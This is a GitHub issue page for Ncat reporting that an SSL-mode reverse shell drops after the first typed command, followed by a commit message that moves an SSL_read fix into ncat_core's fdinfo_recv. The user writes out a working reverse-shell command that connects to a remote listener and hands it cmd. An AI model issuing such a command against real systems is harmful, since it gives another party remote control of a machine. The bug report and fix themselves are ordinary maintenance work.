Join GitHub today
GitHub is home to over 50 million developers working together to host and review code, manage projects, and build software together.Sign up
Ncat reverse shell not working in ssl mode #1049
I have ncat listening in SSL mode in my linux box.
root@sane:~/Desktop# ncat --listen 443 --ssl -vvv
I am able to connect to this port in SSL mode from my Windows box with -e cmd option to get a reverse shell and i do get the command prompt in my linux box , but as soon as i type any command, the connection closes with the highlighted statements in my Windows box.
C:\Users\Administrator>ncat 10.11.0.64 443 -e cmd -vvv --ssl
But everything works fine when not in SSL mode.
This fix was previously applied to ncat_listen's read_socket in r36652 (ac8b866) as a fix for #773. It didn't fully solve the problem, though, since the fix should have been applied in ncat_core's fdinfo_recv, right after the call to SSL_read. This commit moves the fix where it belongs, which also simplifies the code. Fixes #197 and #1049.